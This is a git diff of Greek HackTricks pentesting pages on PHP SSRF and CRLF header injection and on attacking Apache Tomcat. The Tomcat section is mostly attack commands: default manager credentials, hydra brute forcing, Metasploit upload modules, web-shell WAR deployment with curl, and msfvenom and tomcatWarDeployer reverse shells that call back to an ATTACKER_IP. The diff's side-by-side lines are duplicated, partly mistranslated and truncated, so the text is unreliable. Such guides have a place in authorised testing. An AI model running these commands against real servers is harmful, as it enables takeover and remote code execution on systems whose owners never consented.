* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -2,29 +2,21 @@
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> ### Συναρτήσεις PHP SSRF
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από APIs έως web εφαρμογές και συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα. Κάποιες συναρτήσεις όπως **file\_get\_contents(), fopen(), file(), md5\_file()** δέχονται διευθύνσεις URL ως είσοδο που θα ακολουθήσουν, δημιουργώντας **πιθανές ευπάθειες SSRF** εάν ο χρήστης μπορεί να ελέγχει τα δεδομένα:
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
### Συναρτήσεις SSRF PHP
Ορισμένες συναρτήσεις όπως η _**file\_get\_contents(), fopen(), file(), md5\_file()**δέχονται URLs ως είσοδο που θα ακολουθήσουν κάνοντας **δυνατές ευπάθειες SSRF** εάν ο χρήστης μπορεί να ελέγξει τα δεδομένα:
```php ```php
file_get_contents("http://127.0.0.1:8081"); file_get_contents("http://127.0.0.1:8081");
fopen("http://127.0.0.1:8081", "r"); fopen("http://127.0.0.1:8081", "r");
@ -33,7 +25,7 @@ md5_file("http://127.0.0.1:8081");
``` ```
### CRLF ### CRLF
Επιπλέον, σε ορισμένες περιπτώσεις μπορεί ακόμα και να είναι δυνατή η αποστολή αυθαίρετων κεφαλίδων μέσω των CRLF "ευπαθειών" στις προηγούμενες λειτουργίες: Επιπλέον, σε ορισμένες περιπτώσεις είναι ακόμα δυνατόν να σταλούν αυθαίρετα headers μέσω των CRLF "ευπαθειών" στις προηγούμενες λειτουργίες:
```php ```php
# The following will create a header called from with value Hi and # The following will create a header called from with value Hi and
# an extra header "Injected: I HAVE IT" # an extra header "Injected: I HAVE IT"
@ -49,10 +41,10 @@ Connection: close
# Any of the previously mentioned functions will send those headers # Any of the previously mentioned functions will send those headers
``` ```
{% hint style="warning" %} {% hint style="warning" %}
Για περισσότερες πληροφορίες σχετικά με το ευπάθεια CRLF, ελέγξτε αυτό το σφάλμα [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1) Για περισσότερες πληροφορίες σχετικά με την ευπάθεια CRLF, ελέγξτε αυτό το σφάλμα [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
{% endhint %} {% endhint %}
Σημειώστε ότι αυτές οι συναρτήσεις μπορεί να έχουν και άλλες μεθόδους για τον ορισμό αυθαίρετων κεφαλίδων σε αιτήσεις, όπως: Σημειώστε ότι αυτές οι λειτουργίες μπορεί να έχουν και άλλες μεθόδους για την οριστική ρύθμιση κεφαλίδων σε αιτήσεις.
```php ```php
$url = ""; $url = "";
@ -68,23 +60,16 @@ $options = array(
$context = stream_context_create($options); $context = stream_context_create($options);
$file = file_get_contents($url, false, $context); $file = file_get_contents($url, false, $context);
``` ```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από τις διεπαφές προγραμματισμού εφαρμογών (APIs) μέχρι τις ιστοσελίδες και τα συστήματα στον νέφος. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details> </details>

View file

@ -2,121 +2,79 @@
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές σάρωσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από διεπαφές προς διαδικτυακές εφαρμογές και συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Ανακάλυψη ## Ανακάλυψη
* Συνήθως λειτουργεί στη θύρα **8080** * Συνήθως λειτουργεί στη **θύρα 8080**
* **Συνηθισμένο σφάλμα Tomcat:** * **Κοινό σφάλμα Tomcat:**
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
## Απαρίθμηση ## Απαρίθμηση
### **Αναγνώριση έκδοσης** ### **Αναγνώριση Έκδοσης**
Για να βρείτε την έκδοση του Apache Tomcat, μπορεί να εκτελεστεί ένα απλό πρόγραμμα: Για να βρείτε την έκδοση του Apache Tomcat, μπορεί να εκτελεστεί ένα απλό πρόγραμμα:
```bash ```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
``` ```
Αυτό θα αναζητήσει τον όρο "Tomcat" στη σελίδα ευρετηρίου της τεκμηρίωσης, αποκαλύπτοντας την έκδοση στην ετικέτα τίτλου της απόκρισης HTML.
### **Τοποθεσία Αρχείων Διαχειριστή** ### **Τοποθεσία Αρχείων Διαχειριστή**
Η αναγνώριση των ακριβών τοποθεσιών των καταλόγων **`/manager`** και **`/host-manager`** είναι κρίσιμη καθώς τα ονόματά τους μπορεί να έχουν τροποποιηθεί. Συνιστάται η αναζήτηση με βία για τον εντοπισμό αυτών των σελίδων.
Η εντοπισμός των ακριβών τοποθεσιών των καταλόγων **`/manager`** και **`/host-manager`** είναι κρίσιμος καθώς τα ονόματά τους ενδέχεται να έχουν τροποποιηθεί. Συνιστάται η εκτέλεση μιας επίθεσης brute-force για τον εντοπισμό αυτών των σελίδων.
### **Απαρίθμηση Ονομάτων Χρηστών** ### **Απαρίθμηση Ονομάτων Χρηστών**
Για τις παλαιότερες εκδόσεις του Tomcat πριν από την έκδοση 6, είναι δυνατή η απαρίθμηση των ονομάτων χρηστών μέσω:
Για τις εκδόσεις του Tomcat παλαιότερες από την 6, είναι δυνατή η απαρίθμηση ονομάτων χρηστών μέσω:
```bash ```bash
msf> use auxiliary/scanner/http/tomcat_enum msf> use auxiliary/scanner/http/tomcat_enum
``` ```
### **Προεπιλεγμένα Διαπιστευτήρια** ### **Προεπιλεγμένα Διαπιστευτήρια**
Ο κατάλογος **`/manager/html`** είναι ιδιαίτερα ευαίσθητος καθώς επιτρέπει το ανέβασμα και την εκτέλεση αρχείων WAR, τα οποία μπορούν να οδηγήσουν σε εκτέλεση κώδικα. Αυτός ο κατάλογος προστατεύεται από βασική αυθεντικοποίηση HTTP, με κοινά διαπιστευτήρια να είναι:
- admin:admin Ο κατάλογος **`/manager/html`** είναι ιδιαίτερα ευαίσθητος καθώς επιτρέπει τη μεταφόρτωση και αναπτυξη αρχείων WAR, τα οποία μπορεί να οδηγήσουν σε εκτέλεση κώδικα. Αυτός ο κατάλογος προστατεύεται από βασική αυθεντικοποίηση HTTP, με κοινά διαπιστευτήρια να είναι:
- tomcat:tomcat
- admin:<ΤΙΠΟΤΑ> * admin:admin
- admin:s3cr3t * tomcat:tomcat
- tomcat:s3cr3t * admin:
- admin:tomcat * admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
Αυτά τα διαπιστευτήρια μπορούν να δοκιμαστούν χρησιμοποιώντας: Αυτά τα διαπιστευτήρια μπορούν να δοκιμαστούν χρησιμοποιώντας:
```bash ```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login msf> use auxiliary/scanner/http/tomcat_mgr_login
``` ```
Ένας άλλος σημαντικός κατάλογος είναι ο **`/manager/status`**, ο οποίος εμφανίζει την έκδοση του Tomcat και του λειτουργικού συστήματος, βοηθώντας στον εντοπισμό ευπαθειών. Ένας άλλος σημαντικός κατάλογος είναι **`/manager/status`**, ο οποίος εμφανίζει την έκδοση του Tomcat και του λειτουργικού συστήματος, βοηθώντας στον εντοπισμό ευπαθειών.
### **Επίθεση με Βίαιη Δύναμη** ### **Επίθεση Βίας**
Για να προσπαθήσετε μια επίθεση με βίαιη δύναμη στον κατάλογο του διαχειριστή, μπορείτε να χρησιμοποιήσετε:
Για να δοκιμάσετε μια επίθεση βίας στον κατάλογο του διαχειριστή, μπορείτε να χρησιμοποιήσετε:
```bash ```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
``` ```
Μαζί με την ρύθμιση διάφορων παραμέτρων στο Metasploit για να επιτεθείτε σε ένα συγκεκριμένο υπολογιστή. ## Κοινές Ευπάθειες
## Συνηθισμένες Ευπάθειες ### **Αποκάλυψη Ανίχνευσης Κωδικού Πρόσβασης**
### **Αποκάλυψη Κωδικού Πρόσβασης με Ανακαταγραφή** Η πρόσβαση στο `/auth.jsp` μπορεί να αποκαλύψει τον κωδικό πρόσβασης σε μια ανίχνευση κάτω από ευνοϊκές συνθήκες.
Η πρόσβαση στο `/auth.jsp` μπορεί να αποκαλύψει τον κωδικό πρόσβασης με ανακαταγραφή κάτω από ευνοϊκές συνθήκες.
### **Διπλή Κωδικοποίηση URL** ### **Διπλός Κωδικοποιημένος URL**
Η ευπάθεια CVE-2007-1860 στο `mod_jk` επιτρέπει τη διπλή κωδικοποίηση URL για διάβαση μονοπατιού, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση στη διεπαφή διαχείρισης μέσω ειδικά διαμορφωμένου URL.
Για να αποκτήσετε πρόσβαση στη διαχείριση ιστοσελίδας του Tomcat, πηγαίνετε στο: `pathTomcat/%252E%252E/manager/html` Η ευπάθεια CVE-2007-1860 στο `mod_jk` επιτρέπει τη διπλή κωδικοποίηση τρaversal του μονοπατιού URL, επιτρέποντας την μη εξουσιοδοτημένη πρόσβαση στη διεπαφή διαχείρισης μέσω ενός ειδικά διαμορφωμένου URL.
### /examples Για να αποκτήσετε πρόσβαση στη διαχείριση του Tomcat πηγαίνετε στο: `pathTomcat/%252E%252E/manager/html`
Οι εκδόσεις Apache Tomcat 4.x έως 7.x περιλαμβάνουν παραδείγματα σεναρίων που είναι ευάλωτα σε αποκάλυψη πληροφοριών και επιθέσεις cross-site scripting (XSS). Αυτά τα σενάρια, που αναφέρονται εκτενώς, πρέπει να ελεγχθούν για μη εξουσιοδοτημένη πρόσβαση και πιθανή εκμετάλλευση. Βρείτε [περισσότερες πληροφορίες εδώ](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp ### /παραδείγματα
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### **Εκμετάλλευση Διαδρομής Αρχείου** Οι εκδόσεις Apache Tomcat 4.x έως 7.x περιλαμβάνουν παραδείγματα σεναρίων που είναι ευάλωτα σε αποκάλυψη πληροφορι
Σε ορισμένες [**ευάλωτες διαμορφώσεις του Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), μπορείτε να αποκτήσετε πρόσβαση σε προστατευμένους καταλόγους στο Tomcat χρησιμοποιώντας τη διαδρομή: `/..;/`
Έτσι, για παράδειγμα, μπορείτε να **αποκτήσετε πρόσβαση στη σελίδα διαχειριστή του Tomcat** αποκτώντας πρόσβαση στο: `www.vulnerable.com/lalala/..;/manager/html`
**Ένας άλλος τρόπος** να παρακάμψετε προστατευμένες διαδρομές χρησιμοποιώντας αυτό το κόλπο είναι να αποκτήσετε πρόσβαση στο `http://www.vulnerable.com/;param=value/manager/html`
## RCE
Τέλος, αν έχετε πρόσβαση στον Tomcat Web Application Manager, μπορείτε να **ανεβάσετε και να εγκαταστήσετε ένα αρχείο .war (εκτέλεση κώδικα)**.
### Περιορισμοί
Θα μπορέσετε να εγκαταστήσετε ένα WAR μόνο αν έχετε **επαρκή δικαιώματα** (ρόλοι: **admin**, **manager** και **manager-script**). Αυτές οι λεπτομέρειες μπορούν να βρεθούν στο αρχείο _tomcat-users.xml_ που συνήθως καθορίζεται στο `/usr/share/tomcat9/etc/tomcat-users.xml` (διαφέρει ανάμεσα στις εκδόσεις) (δείτε την ενότητα [POST](tomcat.md#post)).
```bash ```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -127,12 +85,6 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell" curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
``` ```
### Metasploit ### Metasploit
Το Metasploit είναι ένα ανοιχτού κώδικα πλαίσιο εκμετάλλευσης ασφαλείας που χρησιμοποιείται για την ανάπτυξη και εκτέλεση επιθέσεων εκμετάλλευσης. Παρέχει ένα ευέλικτο περιβάλλον για τη δοκιμή ασφάλειας συστημάτων και εφαρμογών, καθώς και για την ανάπτυξη και εκτέλεση επιθέσεων.
Το Metasploit περιλαμβάνει μια μεγάλη συλλογή εκμεταλλεύσεων, payloads, εργαλεία και μοντέλων επίθεσης που μπορούν να χρησιμοποιηθούν για να εκμεταλλευτούν αδυναμίες σε διάφορα συστήματα και εφαρμογές. Επιπλέον, παρέχει μια γραφική διεπαφή χρήστη (GUI) και μια γραμμή εντολών για την εκτέλεση των επιθέσεων.
Το Metasploit είναι ένα ισχυρό εργαλείο για τους επαγγελματίες ασφάλειας και τους χάκερ, καθώς παρέχει τη δυνατότητα να εκτελούνται επιθέσεις με αυτοματοποιημένο τρόπο και να εκμεταλλεύονται ευπάθειες σε συστήματα και εφαρμογές.
```bash ```bash
use exploit/multi/http/tomcat_mgr_upload use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP> msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
@ -141,7 +93,7 @@ msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password> msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit msf exploit(multi/http/tomcat_mgr_upload) > exploit
``` ```
### Αντιστρεφόμενη κέλυφος MSFVenom ### Αντιστρεπτικό κέλυφος MSFVenom
1. Δημιουργία του πολέμου για αναπτυξη: 1. Δημιουργία του πολέμου για αναπτυξη:
```bash ```bash
@ -149,7 +101,7 @@ msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o r
``` ```
2. Μεταφορτώστε το αρχείο `revshell.war` και αποκτήστε πρόσβαση σε αυτό (`/revshell/`): 2. Μεταφορτώστε το αρχείο `revshell.war` και αποκτήστε πρόσβαση σε αυτό (`/revshell/`):
### Δέσμευση και αντίστροφη κέλυφος με το [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) ### Δέστε και αναστρέψτε το κέλυφος με το [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
Σε ορισμένα σενάρια αυτό δεν λειτουργεί (για παράδειγμα παλιές εκδόσεις της sun) Σε ορισμένα σενάρια αυτό δεν λειτουργεί (για παράδειγμα παλιές εκδόσεις της sun)
@ -157,117 +109,21 @@ msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o r
```bash ```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git git clone https://github.com/mgeeky/tomcatWarDeployer.git
``` ```
#### Αντίστροφη κέλυφος #### Αντίστροφη κέλυφωση
Η αντίστροφη κέλυφος (reverse shell) είναι μια τεχνική που χρησιμοποιείται στον χώρο του χάκινγκ για να αποκτήσει ο χάκερ απομακρυσμένη πρόσβαση σε έναν προορισμένο υπολογιστή. Αντί να εκτελεί ο χάκερ ένα κέλυφος στον προορισμένο υπολογιστή και να περιμένει για συνδέσεις από άλλους υπολογιστές, η αντίστροφη κέλυφος αναποδογυρίζει τη διαδικασία. Ο χάκερ εκτελεί ένα κέλυφος σε έναν εξωτερικό υπολογιστή και περιμένει για συνδέσεις από τον προορισμένο υπολογιστή. Όταν ο προορισμένος υπολογιστής συνδεθεί, ο χάκερ αποκτά απομακρυσμένη πρόσβαση και μπορεί να εκτελέσει εντολές στον προορισμένο υπολογιστή.
Η αντίστροφη κέλυφος είναι ιδιαίτερα χρήσιμη σε περιβάλλοντα όπου ο προορισμένος υπολογιστής βρίσκεται πίσω από ένα τείχος προστασίας ή ένα δίκτυο που εφαρμόζει NAT (Network Address Translation). Με τη χρήση της αντίστροφης κελύφους, ο χάκερ μπορεί να παρακάμψει αυτά τα εμπόδια και να αποκτήσει πρόσβαση στον προορισμένο υπολογιστή.
Για να υλοποιηθεί η αντίστροφη κέλυφος, ο χάκερ χρειάζεται να έχει πρόσβαση στον προορισμένο υπολογιστή και να εκτελέσει ένα πρόγραμμα κέλυφος που θα ακούει για συνδέσεις από τον εξωτερικό υπολογιστή. Ο χάκερ μπορεί να χρησιμοποιήσει διάφορα εργαλεία και τεχνικές για να επιτύχει αυτό, όπως το Metasploit Framework, το Netcat ή το Ncat.
Η αντίστροφη κέλυφος είναι μια ισχυρή τεχνική που μπορεί να χρησιμοποιηθεί για κακόβουλους σκοπούς, γι 'αυτό είναι σημαντικό να λαμβάνονται μέτρα ασφαλείας για την προστασία των συστημάτων από αυτήν την επίθεση.
```bash ```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/ ./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
``` ```
#### Συνδεδεμένη κέλυφος (Bind shell) #### Δέστε το κέλυφος
Η συνδεδεμένη κέλυφος (bind shell) είναι μια τεχνική που χρησιμοποιείται στον χώρο του χάκινγκ για να αποκτηθεί πρόσβαση σε ένα σύστημα. Με αυτήν την τεχνική, ο χάκερ δημιουργεί ένα πρόγραμμα που ακούει σε ένα συγκεκριμένο θύρα και περιμένει για συνδέσεις από άλλους χρήστες. Όταν ένας χρήστης συνδεθεί στην θύρα αυτή, ο χάκερ αποκτά πλήρη έλεγχο του συστήματος και μπορεί να εκτελέσει εντολές σε αυτό.
